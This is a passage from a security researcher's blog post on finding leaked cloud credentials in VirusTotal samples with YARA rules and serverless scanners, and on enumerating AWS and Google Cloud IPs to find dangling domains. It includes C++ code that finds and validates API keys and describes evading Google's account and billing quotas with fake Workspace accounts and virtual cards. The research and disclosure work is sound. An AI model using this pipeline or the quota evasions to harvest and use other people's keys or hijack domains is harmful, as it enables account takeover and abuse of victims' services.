at Scale" loading="lazy" width="971" height="413" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/32465778dec77e8910ef52527999c6197f3648f6.png 600w, https://billdemirkapi.me/content/images/2024/09/32465778dec77e8910ef52527999c6197f3648f6.png 971w" sizes="(min-width: 720px) 720px"></figure><p>This challenge is not exclusive to our use case. If we were looking for malware, we&apos;d run into the same feasibility problem. Fortunately, platforms that allow data access typically also provide a means of searching that data. In VirusTotal&apos;s case, this feature is called <a href="https://virustotal.readme.io/docs/retrohunt">Retrohunt</a>.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927040233.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1639" height="949" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927040233.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/Pasted-image-20240927040233.png 1000w, https://billdemirkapi.me/content/images/size/w1600/2024/09/Pasted-image-20240927040233.png 1600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927040233.png 1639w" sizes="(min-width: 720px) 720px"></figure><p>Retrohunt lets you scan files using something called &quot;YARA rules&quot;. <a href="https://yara.readthedocs.io/en/stable/index.html">YARA</a> provides a &quot;<em>rules-based approach to create descriptions of malware families based on regular expression, textual or binary patterns</em>&quot;. The above example from YARA&apos;s <a href="https://yara.readthedocs.io/en/stable/index.html">documentation</a> shows what these rules look like.</p><p>In the past work section, we discussed how secrets can sometimes have an identifiable pattern, like <code>AKIA</code> for AWS access keys. In fact, all secret scanning tools use regex based on these identifiers to find secrets. You know what else supports regex? YARA! While originally designed to &quot;identify and classify malware samples&quot;, we can repurpose it to reduce petabytes of data to &quot;just&quot; a few million files that potentially contain credentials.</p><p>Enough theory, let&apos;s write some code!</p><h1 id="technical-implementation">Technical Implementation</h1><h2 id="secret-scanning">Secret Scanning</h2><h3 id="overview">Overview</h3><p>The plan should be simple. Scan for secret patterns across several virus scanning platforms and validate potential credentials with the provider. How hard can it be? (tm)</p><p>One problem I encountered early on was that not all cloud providers use an identifiable pattern in their secrets. How are we supposed to identify candidate samples for scanning? In the overview of the security at scale mindset, note how I said the data source, &quot;<em>must contain <strong>relationships</strong> indicative of the targeted vulnerability class</em>&quot;.</p><p>Just because we can&apos;t identify some secrets directly, doesn&apos;t mean we can&apos;t identify potential files <em>indirectly</em>. For example, let&apos;s say I have a Python script that makes a GET request to some API endpoint using a generic <code>[a-zA-Z0-9]{32}</code> key with no identifying marks. How would I identify this file for scanning? One relationship in the file is between the API key and the API endpoint.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927042309.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="963" height="245" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927042309.png 600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927042309.png 963w" sizes="(min-width: 720px) 720px"></figure><p><strong>While I can&apos;t search for the API key, what if I searched for the endpoint instead?</strong> The example above is a rule I wrote for <a href="https://www.linode.com/">Linode</a>, a cloud provider with generic secret keys. I can&apos;t process every sample uploaded to VirusTotal, but chances are I <em>can</em> feasibly process every sample with the string <code>api.linode.com</code>.</p><p>Generic keys are also annoying because even if we cut our scope, 32 consecutive alphanumerical characters can easily match plenty of non-secret strings too. In this project, beyond identifying <em>potential</em> secrets, I wanted accurate identification. How do we know if a generic match is a secret? Only one way to find out- give it a go!</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927044726.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1106" height="462" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927044726.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/Pasted-image-20240927044726.png 1000w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927044726.png 1106w" sizes="(min-width: 720px) 720px"></figure><p>It would obviously be inappropriate to query customer data, but what about metadata? For example, many APIs will have benign endpoints to retrieve basic metadata like your username. We can use these authenticated endpoints as a bare minimum validity test to meet our technical requirements without going further than we have to! These keys are already publicly leaked after all.</p><p>To review:</p><ol><li>We write YARA rules for cloud services we&apos;re interested in finding secrets for based on 1) any identifiable patterns in the secret, or 2), worst case we look for the API endpoint instead.</li><li>We search virus scanning platforms for these rules to identify a subset of samples with potential credential material.</li><li>We enumerate matches in each sample, and test potential keys against a benign metadata endpoint to identify legitimate finds.</li></ol><h3 id="scanning-millions-of-files">Scanning Millions of Files</h3><p>Our Retrohunt jobs will produce a large number of samples that may contain secrets. Extracting strings and validating every possible key will take time and computational resources. It would be incredibly inefficient to scan hundreds of thousands of samples synchronously. How do we build infrastructure to support our large volume?</p><p>When I first started this work in 2021, I started by scanning samples locally. It turned out to be incredibly impractical. I needed approach that could maximize the number of samples we could scan in parallel without breaking the bank. What if we leveraged cloud computing?</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2024/09/benefits-of-serverless.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="717" height="379" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/benefits-of-serverless.png 600w, https://billdemirkapi.me/content/images/2024/09/benefits-of-serverless.png 717w"><figcaption>Cost Benefit Analysis of Serverless Computing by <a href="https://www.cloudflare.com/learning/serverless/what-is-serverless/">Cloudflare</a></figcaption></figure><p>A cloud execution model that has been growing in the past decade is <a href="https://www.cloudflare.com/learning/serverless/what-is-serverless">serverless computing</a>. At a high level, serverless computing is where your applications are only allocated and running when they are needed on a cloud provider&apos;s managed infrastructure. You don&apos;t need to worry about setting up your own server or pay for idle time. For example, you could run a web server where you only pay for the time it takes your application to respond to a request.</p><p>AWS&apos;s serverless offering is called <a href="https://aws.amazon.com/lambda/">AWS Lambda</a>. What if we created an AWS Lambda function that scans a given sample for secrets? AWS Lambda has a default concurrency limit of 1,000. This means we could scan at least 1,000 samples concurrently! As long as our scans did not take more than a few minutes, AWS Lambda is fairly cost efficient as well. I ended up using AWS Lambda, but you don&apos;t have to! Most providers have equivalents; AWS was just where I had the most experience.</p><p>We need four major components for our secret scanning project.</p><ul><li>We need a single server responsible for coordinating VirusTotal scans and dispatching samples to our serverless environment. Let&apos;s call this the coordinator.</li><li>We need an AWS Lambda function that can scan a sample for valid secrets in a few minutes.</li><li>We need a message broker that will contain a queue of pending Retrohunt jobs and a queue of validated secrets.</li><li>We need a database to store Retrohunt scan metadata, samples we&apos;ve scanned, and any keys we find.</li></ul><p>Our coordinator and Lambda function will require details for each type of service we are targeting.</p><ul><li>The coordinator will need a YARA rule for each key type.</li><li>The Lambda function will need a method for determining if a string contains a potential key for that service and a method for validating a potential key with the backend API.</li></ul><p>When I originally started this project, tools like <a href="https://github.com/trufflesecurity/trufflehog">TruffleHog</a> which similarly detect <strong>and validate</strong> potential keys had not yet been created. More importantly, they weren&apos;t designed to maximize efficient scanning. With Serverless, you are charged for every second of execution. We needed an optimized solution.</p><p>For the Coordinator, I went with Python, but for the scanner, I went with C++. This component will download a given sample into memory, extract any ASCII or Unicode strings, and then scan these strings for secrets. For each supported provider, I implemented a class with two functions: 1) check if a string contains a potential secret key, and 2), validate a secret using a benign metadata endpoint (usually via REST). Generically, the scanner runs an internal version of strings and passes each to the first function. Any matches are tracked and asynchronously verified using the second.</p><pre><code class="language-c++">std::vector&lt;KeyMatch&gt; LinodeKeyType::FindKeys(std::string String)
{
    const std::regex linodeApiKeyRegex(&quot;(?:[^a-fA-F0-9]|^)([a-fA-F0-9]{64})(?:[^a-fA-F0-9]|$)&quot;);
    std::sregex_iterator rend;
    std::vector&lt;KeyMatch&gt; potentialKeys;
    std::smatch currentMatch;

    //
    // Find all API keys.
    //
    for (std::sregex_iterator i(String.begin(), String.end(), linodeApiKeyRegex); i != rend; ++i)
    {
        currentMatch = *i;
        if (currentMatch.size() &gt; 1 &amp;&amp; currentMatch[1].matched)
        {
            potentialKeys.push_back(KeyMatch(currentMatch[1].str(), LinodeKeyCategory::LinodeApiKey));
        }
    }

    return potentialKeys;
}

bool LinodeKeyType::ValidateKeyPair(std::vector&lt;KeyMatch&gt; KeyPair)
{
    KeyMatch apiKey;

    //
    // Retrieve the API key from the key pair.
    //
    apiKey = KeyPair[0];

    //
    // Attempt to retrieve the account&apos;s details using the API key.
    //
    HttpResponse accountResponse = WebHelper::Get(&quot;https://api.linode.com/v4/account&quot;, {}, {{&quot;Authorization&quot;, &quot;Bearer &quot; + apiKey.GetKey()}});
    if (accountResponse.GetStatusCode() == 200)
    {
        return true;
    }
    
    return false;
}
</code></pre><p>To detect secrets, I use <a href="https://github.com/intel/hyperscan">hyperscan</a>, Intel&apos;s &quot;high-performance regular expression matching library&quot;. I originally started with C++&apos;s <code>&lt;regex&gt;</code> implementation seen above, but I was shocked to find that hyperscan was faster by an order of magnitude. What took 300 seconds (e.g., scanning a large app with many strings) now took 10! Regex patterns were manually crafted based largely on public references, like that <a href="https://github.com/mazen160/secrets-patterns-db">secret pattern repository</a> we covered in Past Work.</p><p>The Coordinator, used to manage our entire architecture, was pretty straightforward. Triggered on a timer, it looks in a database for Retrohunt scans that are pending and monitors their completion. <strong>A cool trick</strong>: VirusTotal Retrohunt has a 10,000 sample limit per job. To avoid this, around ~5% into the job, you can check whether the number of matches times 20 (for 5%) is greater than or equal to 10,000. If it is, you can abort the job and dispatch two new Retrohunt jobs split by time. For example, if I&apos;m scanning the past year, I&apos;ll instead create two jobs to scan the first and second half of the year respectively. You can recursively keep splitting jobs, which was critical for secrets which lacked an identifiable pattern and thus led to many samples.</p><pre><code class="language-python"># Check if our scan reached VirusTotal&apos;s match limit.
if (scan_status == &quot;finished&quot; and scan.get_num_matched_samples() == 10000) or \
		(scan_status == &quot;running&quot; and scan.is_scan_stalled()):
	logging.warning(f&quot;Retrohunt scan {scan_id} reached match limit. Splitting and re-queueing.&quot;)

	# Calculate the mid point date for the scan.
	scan_start_time = scan.start_time
	scan_end_time = scan.end_time
	scan_mid_time = scan_start_time + (scan_end_time - scan_start_time) / 2

	# Queue the first half scan (start to mid).
	self.add_retrohunt_scan(scan.key_type_name, scan_start_time, scan_mid_time)

	# Queue the second half scan (mid to end).
	self.add_retrohunt_scan(scan.key_type_name, scan_mid_time, scan_end_time)

	logging.info(f&quot;Queued two new retrohunt scans for key type {scan.key_type_name}.&quot;)

	# If the scan is running, abort it.
	if scan_status == &quot;running&quot;:
		scan.abort_scan()
		logging.info(f&quot;Aborted running scan {scan_id} due to stall.&quot;)

	logging.info(f&quot;Marking retrohunt scan {scan_id} as aborted.&quot;)
	self.db.add_aborted_scan(scan_id)
</code></pre><p>The message broker and database are nothing special. I started with <a href="https://www.rabbitmq.com/">RabbitMQ</a> for the former, but use <a href="https://aws.amazon.com/sqs/">AWS SQS</a> today. I use MySQL for the latter.</p><p>To recap our end-to-end workflow:</p><!--kg-card-begin: markdown--><ul>
<li>The coordinator occasionally checks the database for new Retrohunt scan entries.</li>
<li>The coordinator keeps track of any pending Retrohunt scans.
<ul>
<li>Early in a scan, if we predict that the number of samples exceeds 10,000, we split the scan in two.</li>
<li>Once finished, we enumerate each sample and adds it to our message broker, in turn triggering an AWS Lambda call.</li>
</ul>
</li>
<li>The AWS Lambda scanner downloads the sample and extracts ASCII/Unicode strings, calling the key type&apos;s <code>FindKeys</code> implementation.</li>
<li>Once finished, each potential match is validated using <code>ValidateKeyPair</code> in parallel.</li>
<li>Verified keys are added to the database.</li>
</ul>
<!--kg-card-end: markdown--><p>This approach let me scan several million samples quickly and with a reasonable cost. While there are many optimizations I could do to the C++ scanner, or infrastructure by avoiding Serverless, it does not matter enough to warrant dealing with that complexity.</p><h2 id="dangling-domains-1">Dangling Domains</h2><p>Moving on to dangling DNS records, I was most interested in challenging modern provider mitigations. Of note, as far as I could see, attempts to enumerate Google Cloud&apos;s pool of IPs has failed because of this. There <em>has</em> been work into hijacking dangling records for managed services, <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/387796">like Google Cloud DNS</a>, just not the dedicated endpoint equivalent.</p><p>AWS also has a few mitigations, like the small pool of IPs you can access by allocating/releasing elastic IPs, but there are known ways around this. For example, instead of allocating elastic IPs, we can restart EC2 instances with ephemeral IPs to perform enumeration. On restart, you get a brand new IP.</p><p>Google Cloud was harder, but their mitigations are deterrents. Limitations include...</p><ul><li>Like AWS, IPs are assigned from a small per-project pool. Unlike AWS, this applies project-wide. For example, trying to recreate compute instances will run into the same pool restriction (which is not true for AWS EC2).</li><li>Per project, by default, you can only have <strong>8</strong> IPs assigned at once, globally and per-region.</li><li>You can only have <strong>5</strong> projects associated with a &quot;billing account&quot;.</li><li>Billing accounts are tied to a payment method like a credit card. You can only have <strong>2</strong> billing accounts per unique credit card (before hitting fraud verification).</li><li>You can only have 10-15 projects by default per account.</li></ul><p>How do we get around these? Well...</p><ul><li>You can attach a billing account across Google accounts.</li><li>To bypass account quotas, you can create multiple accounts using <a href="https://workspace.google.com/">Google Workspace</a>.</li><li>To bypass billing account restrictions, you can use virtual credit cards.</li></ul><p>For most quota limits, I figured the easiest way around them would be to create several accounts. The billing restrictions made this difficult, but for account creation, I ended up creating a fake Google Workspace tenant. Google Workspace is just Google products as a service for enterprises. The neat part about a Workspace is that you can programmatically create fake employee accounts, each with 10-15 projects!</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/a0baeb353819d1dc0e51aa01bbc285815e002db9.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="597" height="226"></figure><p>For the billing restrictions, I used <a href="https://privacy.com/virtual-card">virtual credit cards</a>. Long story short, services like <a href="https://privacy.com">Privacy</a> let you generate random credit card numbers with custom limits to avoid exposing your own. These services still follow know your customer (KYC) practices; my identity was verified, but they let us get past any vendor-set limits based on your credit card.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Blank-diagram.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="2000" height="985" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Blank-diagram.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/Blank-diagram.png 1000w, https://billdemirkapi.me/content/images/size/w1600/2024/09/Blank-diagram.png 1600w, https://billdemirkapi.me/content/images/2024/09/Blank-diagram.png 2063w" sizes="(min-width: 720px) 720px"></figure><p>By creating several accounts using Google Workspace and unique virtual cards, I was able to get past Google&apos;s deterrents. Note that I didn&apos;t abuse any vulnerability- these mitigations simply are just mitigations. With the quotas out of the way, I successfully enumerated Google&apos;s public IP pools (per-region and global) by constantly recreating <a href="https://cloud.google.com/load-balancing/docs/forwarding-rule-concepts">forwarding rules</a>!</p><h1 id="key-findings">Key Findings</h1><h2 id="metrics">Metrics</h2><h3 id="dangling-domains-2">Dangling Domains</h3><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927114706.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="553" height="603"></figure><p>CloudRot, what I called my dangling enumeration work, enumerated the public IP pools of Google Cloud and Amazon Web Services. In total, I&apos;ve captured 1,770,495 IPs to date. 1,485,211 IPs (~84%) for AWS and 285,284 IPs (~16%) for GCP. The reason for the differences is largely due to Google&apos;s technical mitigations.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927114753.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="714" height="524" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927114753.png 600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927114753.png 714w"></figure><p>For every 1,000 IPs in AWS&apos;s public pool, 24.73 of them were associated with a domain. For every 1,000 IPs in Google Cloud&apos;s public pool, 35.52 of them were associated with a domain.</p><p>While purely speculative, I suspect that the noticeable increase in the rate of impacted Google Cloud&apos;s IPs is largely due to the fact that this is likely the first publication that has successfully enumerated the public IP pool for Google Cloud&apos;s &quot;compute&quot; instances at scale. There has been research into taking over managed applications in Google Cloud, but I was unable to find any publication that enumerated IPs, likely due to the extensive technical mitigations we encountered. Since there has been a lack of research into this IP pool, it&apos;s possible that the systemic vulnerability of dangling domains has gone unnoticed.</p><p>In total, I discovered <strong>over 78,000 dangling cloud resources</strong> corresponding to <strong>66,000 unique top-level domains</strong> (excluding findings associated with dynamic DNS providers). There were thousands of notable impacted organizations like Google, Amazon, the New York Times, Harvard, MIT, Samsung, Qualys, Hewlett-Packard, etc. Based on the <a href="https://tranco-list.eu/">Tranco ranking</a> of popular domains, CloudRot has discovered 5,434 unique dangling resources associated with a top 50,000 apex domain.</p><p>Here are a few archived examples!</p><p><strong>The New York Times</strong>: <a href="https://web.archive.org/web/20230328201322/http:/intl.prd.nytimes.com/index.html">https://web.archive.org/web/20230328201322/http://intl.prd.nytimes.com/index.html</a><br><strong>Dior</strong>: <a href="https://web.archive.org/web/20230228194202/https://preprod-elk.dior.com/">https://web.archive.org/web/20230228194202/https://preprod-elk.dior.com/</a><br><strong>State Government of California</strong>: <a href="https://web.archive.org/web/20230228162431/https:/tableau.cdt.ca.gov/">https://web.archive.org/web/20230228162431/https://tableau.cdt.ca.gov/</a><br><strong>U.S. District Court for the Western District of Texas</strong>: <a href="https://web.archive.org/web/20230226010822/https:/txwd.uscourts.gov/">https://web.archive.org/web/20230226010822/https://txwd.uscourts.gov/</a><br>Even <strong>Chuck-e-Cheese</strong>! <a href="https://web.archive.org/web/20230228033155/https:/qa.chuckecheese.com/">https://web.archive.org/web/20230228033155/https://qa.chuckecheese.com/</a></p><h3 id="hardcoded-secrets-1">Hardcoded Secrets</h3><!--kg-card-begin: markdown--><ul>
<li>Scanned over <strong>5 million</strong> unique files from various platforms.</li>
<li>Discovered over <strong>15 thousand</strong> validated secrets.
<ul>
<li>2,500+ OpenAI keys</li>
<li>2,400+ AWS keys</li>
<li>2,200+ GitHub keys</li>
<li>600+ Google Cloud Service Accounts</li>
<li>460+ Stripe live secrets</li>
</ul>
</li>
<li>Breakdown of metadata
<ul>
<li>~36% of keys were embedded in the context of an Android application.</li>
<li>~12% of keys were embedded in an ELF executable, but these were often bundled in an Android app.</li>
<li>~8.7% of keys were found in HTML.</li>
<li>~7.9% of keys were embedded in a Windows Portable Executable.</li>
<li>~5.7% of keys were found in a regular text file.</li>
<li>~4.8% of keys were found in a JSON file.</li>
<li>~4.7% of keys were found in a dedicated JavaScript file.</li>
<li>And so on...</li>
</ul>
</li>
<li>Breakdown of country of origin
<ul>
<li>~3.7% of files with keys were uploaded from the United States</li>
<li>~2.3% from India</li>
<li>~1.7% from Russia</li>
<li>~1.4% from Brazil</li>
<li>~1.1% from Germany</li>
<li>~0.9% from Vietnam</li>
<li>And so on...</li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><h2 id="case-studies">Case Studies</h2><h3 id="samsung-bixby">Samsung Bixby</h3><p>One of the first keys I encountered was for Samsung Bixby&apos;s Slack environment.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/image-1.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1127" height="385" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/image-1.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/image-1.png 1000w, https://billdemirkapi.me/content/images/2024/09/image-1.png 1127w" sizes="(min-width: 720px) 720px"></figure><p>Long story short, the <code>com.samsung.android.bixby.agent</code> app has a &quot;logcat&quot; mechanism to upload the agent&apos;s log file to a dedicated Slack channel. It does this using the Slack REST API and a bot token for <code>dumpstater</code>.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927120547.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="567" height="572"></figure><p>The vulnerability was that the bot had a default bot scope, which an attacker could abuse to read from or write to every channel in Samsung&apos;s Slack!</p><h3 id="crowdstrike">CrowdStrike</h3><p>Another early example includes CrowdStrike! An old version of a free utility CrowdStrike distributes on <code>crowdstrike.com</code>, <a href="https://www.crowdstrike.com/resources/community-tools/crowdinspect-tool/">CrowdInspect</a>, contained an hardcoded API key for the VirusTotal service. The API key granted full access to both the VirusTotal account of CrowdStrike employee and the broader CrowdStrike organization inside of VirusTotal.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927121236.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="630" height="265" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927121236.png 600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927121236.png 630w"></figure><p>An attacker can use this API key to leak information about ongoing CrowdStrike investigations and to gain significant premium access to VirusTotal, such as the ability to download samples, access to VirusTotal&apos;s intelligence hunting service, access to VirusTotal&apos;s private API, etc. For a full list of privileges, you can use the <a href="https://developers.virustotal.com/reference/user">user API endpoint</a>.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927121344.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1087" height="839" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927121344.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/Pasted-image-20240927121344.png 1000w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927121344.png 1087w" sizes="(min-width: 720px) 720px"></figure><p>As an example of how this key could be abused to gain confidential information about ongoing CrowdStrike investigations, I queried the <a href="https://developers.virustotal.com/reference/graphs">VirusTotal Graphs API</a> with the filter <code>group:crowdstrike</code>. VirusTotal offers Graphs as a feature which allows defenders to graph out relationships between files, links, and other entities in one place. For example, a defender could use VirusTotal graphs to document the different binaries seen from a specific APT group, including the C2 servers those binaries connect to. Since our API key has full access to the CrowdStrike organization, we can query the active graphs defenders are working on and even see the content of these graphs.</p><p>Obviously, this was quickly reported and got fixed in under 24 hours!</p><h3 id="supreme-court-of-nebraska">Supreme Court of Nebraska</h3><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927121956.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="840" height="345" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927121956.png 600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927121956.png 840w" sizes="(min-width: 720px) 720px"></figure><p>This was a fun one. At the end of 2022, I found an interesting CSV export of an employee of Nebraska&apos;s Supreme Court with over 300 unique credentials including...</p><ul><li>Credentials for internal infrastructure</li><li>Credentials for security tooling</li><li>Credentials for mobile device management</li><li>Credentials for VPN access (OpenVPN)</li><li>Credentials for cloud infrastructure</li><li>Unredacted credit card information</li><li>And much more...</li></ul><p>These were seriously the keys to the kingdom and then some. While metadata showed the file was uploaded in Lincoln, Nebraska, by a web user, it&apos;s unclear whether this was an accident or an automated tool. I worked directly with Nebraska&apos;s State Information Security Officer to promptly rotate these credentials.</p><h1 id="beyond-vulnerability-discovery">Beyond Vulnerability Discovery</h1><p>An important goal I have with any research project is to approach problems holistically. For example, I not only like finding vulnerabilities, but thinking about how to address them too. Leaked secrets are a major problem- they are far easier to abuse than dangling DNS records. Was there anything I could do to mitigate abuse?</p><h2 id="piggybacking-github">Piggybacking GitHub</h2><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927124048.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="955" height="233" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927124048.png 600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927124048.png 955w" sizes="(min-width: 720px) 720px"></figure><p>I wasn&apos;t the only one trying to fix leaked secrets. GitHub&apos;s secret scanning program had already addressed this. GitHub <a href="https://docs.github.com/en/code-security/secret-scanning/introduction/supported-secret-scanning-patterns">partners with many cloud providers</a> to implement automatic revocations. Partners provide regex patterns for their secrets and an endpoint to validate/report keys. For example, if you accidentally leak your Slack token in a GitHub commit, it will be revoked in minutes. This automation is critical because otherwise, attackers could search GitHub (or VirusTotal) for credentials and abuse them before the customer has an opportunity to react.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927124321.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="796" height="332" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927124321.png 600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927124321.png 796w" sizes="(min-width: 720px) 720px"></figure><p>I asked whether they could provide an endpoint for reporting keys directly. GitHub had done a great job creating relationships with vendors to automatically rotate keys. After all, I could already report a key by just posting it on GitHub, and all hosting an endpoint would do is help secure the Internet.</p><p>Unfortunately, they said no. Fortunately, I was only asking as a courtesy. I created a throwaway account and system that would use <a href="https://docs.github.com/en/rest/gists">GitHub&apos;s Gist API</a> to create a public note with a secret for only a split second. In theory, this would trigger GitHub&apos;s scans, and in turn a provider revocation.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927125023.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="750" height="210" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927125023.png 600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927125023.png 750w" sizes="(min-width: 720px) 720px"></figure><p>This actually worked during testing, but I ran into the above error when trying it with ~500 keys.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927125239.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1677" height="450" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927125239.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/Pasted-image-20240927125239.png 1000w, https://billdemirkapi.me/content/images/size/w1600/2024/09/Pasted-image-20240927125239.png 1600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927125239.png 1677w" sizes="(min-width: 720px) 720px"></figure><p>It turns out GitHub doesn&apos;t like it when you create hundreds of Gists in a matter of minutes and suspended my account. This was a problem due to the scale of keys I was finding. Unfortunately, once a test account is flagged, most API calls fail. How can we get around this?</p><p>When debugging, I noticed something weird. For some reason, posting a Gist at the web interface, <code>https://gist.github.com</code> still worked. Even stranger? When I visited a public Gist in an incognito session, I faced a 404 error. It turns out that when your account is suspended, GitHub hides it (and any derivative public content like gists) from every other user. You&apos;re basically shadow banned! What&apos;s interesting was that they still allowed you to upload content through the UI, but not the API. Whatever the reason, this got me thinking...</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927125640.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="760" height="155" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927125640.png 600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927125640.png 760w" sizes="(min-width: 720px) 720px"></figure><p>Who needs an API? Using Python <a href="https://www.selenium.dev/">Selenium</a>, a library to control a browser in test suites, I created a script that automatically logged me into GitHub and used the undocumented API to publish a Gist. While my test account was still shadow banned, this was actually a feature! How? I could now create public gists that triggered secret scanning without any risk of exposure!! (also why I don&apos;t mind sharing the account&apos;s name or ID)</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927130237.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1142" height="714" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927130237.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/Pasted-image-20240927130237.png 1000w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927130237.png 1142w" sizes="(min-width: 720px) 720px"></figure><p>I used GitHub to revoke most keys I discovered, if the provider had enrolled in their program, going well beyond the minimum by protecting victims! Above is the small website I included in the name of the Gist which is embedded in key exposure notification emails. Today, any new secrets leaked on VirusTotal and a few other platforms are automatically reported, helping mitigate abuse.</p><h2 id="working-with-vendors">Working With Vendors</h2><p>Besides GitHub, I also worked with several partners directly to report leaked key material.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2024/09/05910113d82a256e07ff917ee15e5314ce1af1e2.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="869" height="436" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/05910113d82a256e07ff917ee15e5314ce1af1e2.png 600w, https://billdemirkapi.me/content/images/2024/09/05910113d82a256e07ff917ee15e5314ce1af1e2.png 869w" sizes="(min-width: 720px) 720px"><figcaption>How Providers Should Respond</figcaption></figure><p>To start, I&apos;d like to give a 